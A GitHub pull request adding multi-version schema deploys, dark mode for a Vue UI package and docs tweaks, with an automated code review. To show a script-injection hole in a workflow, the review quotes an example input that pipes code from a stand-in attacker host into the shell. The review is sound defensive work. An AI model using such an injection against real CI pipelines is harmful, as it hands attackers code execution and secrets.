feat: all-versions schema deploy + @dtpr/ui dark mode#277
Conversation
Three independent changes bundled per request.
1. Schema deploy enumerates every version in the source tree
- .github/workflows/api-deploy.yaml: drop the hard-coded
ai@2026-04-16-beta default, walk api/schemas/<type>/*/, and
run schema:build + r2-upload for each version. Validation gates
the worker deploy. workflow_dispatch.version remains as an
optional single-version override.
- api/scripts/r2-prune.ts: new step that drops index entries
whose source dir was deleted (e.g. after schema:promote
rename). Worker reads gate through schemas/index.json
(api/src/rest/version-resolver.ts), so index-only prune is
sufficient — no R2 object deletion required.
2. @dtpr/ui dark mode
- packages/ui/src/vue/styles.css: dark-mode CSS tokens, two
triggers (html.dark for @nuxt/color-mode hosts, prefers-color
-scheme for standalone SSR consumers).
- packages/ui/src/vue/use-dark-mode.ts: reactive dark-mode flag
mirroring the host page's color mode.
- packages/ui/src/core/types.ts: ElementDisplayIcon.urlDark so
callers can supply a dark-variant icon source.
- DtprIcon swaps src based on the resolved mode; tests cover
the resolution order and SSR fallback.
3. dtpr-ai docs polish
- dtpr-ai/app/pages/index.vue + content.config.ts: override
docus's default landing template so the homepage is wrapped
in the same UContainer max-width as the rest of the site.
- Taxonomy pages and Playground pick up dark-mode-aware icon
URLs from the new @dtpr/ui surface.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Deploying with
|
| Status | Name | Latest Commit | Updated (UTC) |
|---|---|---|---|
| ✅ Deployment successful! View logs |
dtpr-ai | 92bfa29 | May 05 2026, 08:44 PM |
Greptile SummaryThis PR bundles three independent changes: the CI deploy workflow now enumerates and publishes every schema version found under
Confidence Score: 3/5The workflow change introduces a real injection path that should be addressed before this merges to main; the dark-mode icon fallback gap is a minor edge case. The
|
| Filename | Overview |
|---|---|
| .github/workflows/api-deploy.yaml | Rewrites schema deploy loop to enumerate all versions from the git tree; introduces a shell injection in the inputs.version assignment via direct ${{ }} interpolation in a run block. |
| api/scripts/r2-prune.ts | New script that prunes stale index entries from R2 after schema:promote; correctly guards against emptying the live index and handles the NoSuchKey case. |
| packages/ui/src/vue/DtprIcon.vue | Adds darkSrc prop and swaps the effective src based on useDtprDarkMode; the failed watch doesn't include isDark in its source, so a prior 404 can silently block the dark URL from ever being tried. |
| packages/ui/src/vue/use-dark-mode.ts | New SSR-safe composable that observes html.dark/html.light class mutations and the prefers-color-scheme media query; cleanup via onBeforeUnmount is correct. |
| packages/ui/src/vue/styles.css | Adds dark-mode CSS token overrides under html.dark and a prefers-color-scheme: dark media query; correctly duplicated to support both Nuxt class-based and standalone system-preference modes. |
| packages/ui/src/core/element-display.ts | Plumbs iconUrlDark option through to ElementDisplayIcon.urlDark; correctly treats empty string as absent, preserving backwards compatibility. |
| packages/ui/src/vue/DtprIcon.test.ts | Comprehensive new dark-mode swap tests covering light baseline, html.dark class toggle, prefers-color-scheme, html.light override, and SSR fallback; afterEach class cleanup prevents test leakage. |
| dtpr-ai/app/pages/index.vue | New landing page override that wraps Docus content in UContainer for consistent max-width; properly handles 404 and SEO metadata. |
Sequence Diagram
sequenceDiagram
participant GHA as GitHub Actions
participant API as pnpm @dtpr/api
participant CF as Cloudflare Worker
participant R2 as R2 (dtpr-api bucket)
GHA->>GHA: Resolve schema versions (find api/schemas/*/*)
loop each version v
GHA->>API: schema:build v
end
GHA->>CF: wrangler deploy (worker flip)
loop each version v
GHA->>R2: r2-upload.ts v (idempotent: skip if hash matches)
end
alt inputs.version is empty
GHA->>R2: r2-prune.ts (drop index entries with no source dir)
end
GHA->>GHA: Post-deploy smoke tests
Prompt To Fix All With AI
Fix the following 4 code review issues. Work through them one at a time, proposing concise fixes.
---
### Issue 1 of 4
.github/workflows/api-deploy.yaml:54
**GHA script injection via `inputs.version`**
`${{ inputs.version }}` is interpolated directly into the shell script text. A value containing a single quote (e.g. `'; curl attacker.io/x | sh; echo '`) would break out of the single-quoted assignment and execute arbitrary shell commands. Any user with write access who can trigger `workflow_dispatch` can exploit this. The safe pattern is to expose the input as an environment variable and reference it through the env, which prevents it from ever being interpreted as shell syntax.
### Issue 2 of 4
.github/workflows/api-deploy.yaml:49-54
Pass `inputs.version` through an env var so the shell never sees it as raw script text. This prevents any single-quote or shell metacharacter in the input from being interpreted.
```suggestion
- name: Resolve schema versions to deploy
id: schemas
working-directory: api/schemas
env:
INPUT_VERSION: ${{ inputs.version }}
run: |
set -euo pipefail
override="$INPUT_VERSION"
```
### Issue 3 of 4
packages/ui/src/vue/DtprIcon.vue:32-36
**`failed` flag not cleared on dark-mode swap**
The watch resets `failed` when `props.src` or `props.darkSrc` changes, but not when `isDark.value` flips. If the light URL returns a 404 (setting `failed = true`), and the user then switches to dark mode, `effectiveSrc` immediately returns `HEXAGON_FALLBACK_DATA_URI` — the dark URL is never attempted. The comment on line 29 says "so a dark-mode swap retries cleanly after an earlier light-url 404", which implies the intent was to retry, but adding `isDark.value` to the watch source is needed to actually achieve that.
### Issue 4 of 4
packages/ui/src/vue/DtprIcon.vue:32-37
Include `isDark.value` in the watch source so a dark-mode toggle clears the `failed` flag and allows the dark URL to be attempted, matching the stated intent in the comment.
```suggestion
watch(
() => [props.src, props.darkSrc, isDark.value],
() => {
failed.value = false
},
)
```
Reviews (1): Last reviewed commit: "feat: all-versions schema deploy + @dtpr..." | Re-trigger Greptile
| working-directory: api/schemas | ||
| run: | | ||
| set -euo pipefail | ||
| override='${{ inputs.version }}' |
There was a problem hiding this comment.
GHA script injection via
inputs.version
${{ inputs.version }} is interpolated directly into the shell script text. A value containing a single quote (e.g. '; curl attacker.io/x | sh; echo ') would break out of the single-quoted assignment and execute arbitrary shell commands. Any user with write access who can trigger workflow_dispatch can exploit this. The safe pattern is to expose the input as an environment variable and reference it through the env, which prevents it from ever being interpreted as shell syntax.
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/workflows/api-deploy.yaml
Line: 54
Comment:
**GHA script injection via `inputs.version`**
`${{ inputs.version }}` is interpolated directly into the shell script text. A value containing a single quote (e.g. `'; curl attacker.io/x | sh; echo '`) would break out of the single-quoted assignment and execute arbitrary shell commands. Any user with write access who can trigger `workflow_dispatch` can exploit this. The safe pattern is to expose the input as an environment variable and reference it through the env, which prevents it from ever being interpreted as shell syntax.
How can I resolve this? If you propose a fix, please make it concise.| - name: Resolve schema versions to deploy | ||
| id: schemas | ||
| working-directory: api/schemas | ||
| run: | | ||
| set -euo pipefail | ||
| override='${{ inputs.version }}' |
There was a problem hiding this comment.
Pass
inputs.version through an env var so the shell never sees it as raw script text. This prevents any single-quote or shell metacharacter in the input from being interpreted.
| - name: Resolve schema versions to deploy | |
| id: schemas | |
| working-directory: api/schemas | |
| run: | | |
| set -euo pipefail | |
| override='${{ inputs.version }}' | |
| - name: Resolve schema versions to deploy | |
| id: schemas | |
| working-directory: api/schemas | |
| env: | |
| INPUT_VERSION: ${{ inputs.version }} | |
| run: | | |
| set -euo pipefail | |
| override="$INPUT_VERSION" |
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/workflows/api-deploy.yaml
Line: 49-54
Comment:
Pass `inputs.version` through an env var so the shell never sees it as raw script text. This prevents any single-quote or shell metacharacter in the input from being interpreted.
```suggestion
- name: Resolve schema versions to deploy
id: schemas
working-directory: api/schemas
env:
INPUT_VERSION: ${{ inputs.version }}
run: |
set -euo pipefail
override="$INPUT_VERSION"
```
How can I resolve this? If you propose a fix, please make it concise.| watch( | ||
| () => props.src, | ||
| () => [props.src, props.darkSrc], | ||
| () => { | ||
| failed.value = false | ||
| }, |
There was a problem hiding this comment.
failed flag not cleared on dark-mode swap
The watch resets failed when props.src or props.darkSrc changes, but not when isDark.value flips. If the light URL returns a 404 (setting failed = true), and the user then switches to dark mode, effectiveSrc immediately returns HEXAGON_FALLBACK_DATA_URI — the dark URL is never attempted. The comment on line 29 says "so a dark-mode swap retries cleanly after an earlier light-url 404", which implies the intent was to retry, but adding isDark.value to the watch source is needed to actually achieve that.
Prompt To Fix With AI
This is a comment left during a code review.
Path: packages/ui/src/vue/DtprIcon.vue
Line: 32-36
Comment:
**`failed` flag not cleared on dark-mode swap**
The watch resets `failed` when `props.src` or `props.darkSrc` changes, but not when `isDark.value` flips. If the light URL returns a 404 (setting `failed = true`), and the user then switches to dark mode, `effectiveSrc` immediately returns `HEXAGON_FALLBACK_DATA_URI` — the dark URL is never attempted. The comment on line 29 says "so a dark-mode swap retries cleanly after an earlier light-url 404", which implies the intent was to retry, but adding `isDark.value` to the watch source is needed to actually achieve that.
How can I resolve this? If you propose a fix, please make it concise.| watch( | ||
| () => props.src, | ||
| () => [props.src, props.darkSrc], | ||
| () => { | ||
| failed.value = false | ||
| }, | ||
| ) |
There was a problem hiding this comment.
Include
isDark.value in the watch source so a dark-mode toggle clears the failed flag and allows the dark URL to be attempted, matching the stated intent in the comment.
| watch( | |
| () => props.src, | |
| () => [props.src, props.darkSrc], | |
| () => { | |
| failed.value = false | |
| }, | |
| ) | |
| watch( | |
| () => [props.src, props.darkSrc, isDark.value], | |
| () => { | |
| failed.value = false | |
| }, | |
| ) |
Prompt To Fix With AI
This is a comment left during a code review.
Path: packages/ui/src/vue/DtprIcon.vue
Line: 32-37
Comment:
Include `isDark.value` in the watch source so a dark-mode toggle clears the `failed` flag and allows the dark URL to be attempted, matching the stated intent in the comment.
```suggestion
watch(
() => [props.src, props.darkSrc, isDark.value],
() => {
failed.value = false
},
)
```
How can I resolve this? If you propose a fix, please make it concise.Three fixes to make the previous commit deploy. 1. Drop content.config.ts + app/pages/index.vue c12 loads our user-layer content.config.ts via jiti, which transitively requires @nuxt/content -> @nuxt/kit. jiti evals @nuxt/kit/dist/index.mjs:182's `import.meta.dev` via new vm.Script (CJS context), throwing SyntaxError. Docus's own content.config.ts has the same imports but loads inside a Nuxt context where jiti is configured differently. The homepage UContainer override is a polish item; restoring it needs a docus-friendly extension that doesn't trigger this load chain. Following up separately. 2. Update @dtpr/ui test fixtures for v2 schema reshape The v2 reshape (#274) made `actions` and `subchains` required defaults via z.ZodDefault, which Zod 4 surfaces as required in the inferred output type. vite-plugin-dts type-checks tests during declaration generation, so missing fields blocked dts emission. Add `actions: []` to InstanceElement fixtures, plus `subchains: []`, `subchain_instances: []`, `sources: []`, `linked_instance_ids: []` to DatachainType / DatachainInstance. 3. DtprIcon: reset failed state when isDark changes Watch already reset `failed.value` when src/darkSrc changed. isDark wasn't in the deps, so a dark-mode toggle could leave a stale 404 marker, blocking retry against the new url. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Summary
Three independent changes bundled in one PR per request. Each section is independently reviewable.
1. API deploy: enumerate every schema version on every push
api-deploy.yamlpreviously hard-codedSCHEMA_VERSIONtoai@2026-04-16-beta, so every push tomainre-uploaded only that one version. The newerai@2026-04-27-beta(the v2 schema reshape from #274 + the rights audit changes from #275) was never reachable throughhttps://api.dtpr.io/api/v2/schemas, even though both schemas had been merged tomain.Now:
api/schemas/<type>/*/and runsschema:build+r2-upload.tsfor every version found.r2-upload.tsis already idempotent (api/scripts/r2-upload.ts:11-15short-circuits on matchingcontent_hash, hard-fails on stable-immutability breach), so unchanged stables are a fast no-op.workflow_dispatch.versionis preserved as an optional single-version override for replaying a failed upload.New
api/scripts/r2-prune.ts:r2-upload.tsonly ever adds/updates index entries — it never removes them. Afterschema:promoterenames<date>-beta/→<date>/, the orphaned beta would otherwise live in R2's index forever. The new script walks the source tree, fetchesschemas/index.json, and drops entries whose source dir is gone. Index-only prune is sufficient because the worker gates every read throughschemas/index.json(api/src/rest/version-resolver.ts:55) — orphaned R2 bytes become unreachable. The step skips itself when the single-versionworkflow_dispatchoverride is set, since the source enumeration is incomplete in that path.2. @dtpr/ui dark mode
packages/ui/src/vue/styles.css: dark-mode CSS tokens with two triggers —html.dark(matches@nuxt/color-modewith Nuxt UI'sclassSuffix: "") andprefers-color-scheme: darkgated onhtml:not(.light)(covers standalone SSR consumers like the MCP iframe).packages/ui/src/vue/use-dark-mode.ts(new): reactiveisDarkflag mirroring the host page's color mode. SSR-safe (returnsfalseserver-side, swaps on client mount).packages/ui/src/core/types.ts: optionalElementDisplayIcon.urlDarkso callers can supply a dark-variant URL (e.g./elements/:id/icon.dark.svg). When unset, the light URL is used in both modes — preserves backwards compatibility.DtprIcon.vueswapssrcbased on the resolved mode; new tests cover resolution order and SSR fallback.3. dtpr-ai docs polish
dtpr-ai/app/pages/index.vue(new) +content.config.ts(new): override docus's default landing template so the homepage is constrained by the sameUContainermax-width as every other docs page (previously stretched edge-to-edge). Thecontent.config.tsre-declares thelandingcollection because addingapp/pages/index.vuedisables docus's auto-registered one.Test plan
ai@2026-04-16-betaandai@2026-04-27-betaappear inhttps://api.dtpr.io/api/v2/schemashttps://dtpr.ai/taxonomy) now reflect v2 schema + rights auditurlDarkis set; falls back to light when nothttps://dtpr.ai/is constrained byUContainerwidthschema:promoteflow drops the beta entry from/api/v2/schemasafter merge🤖 Generated with Claude Code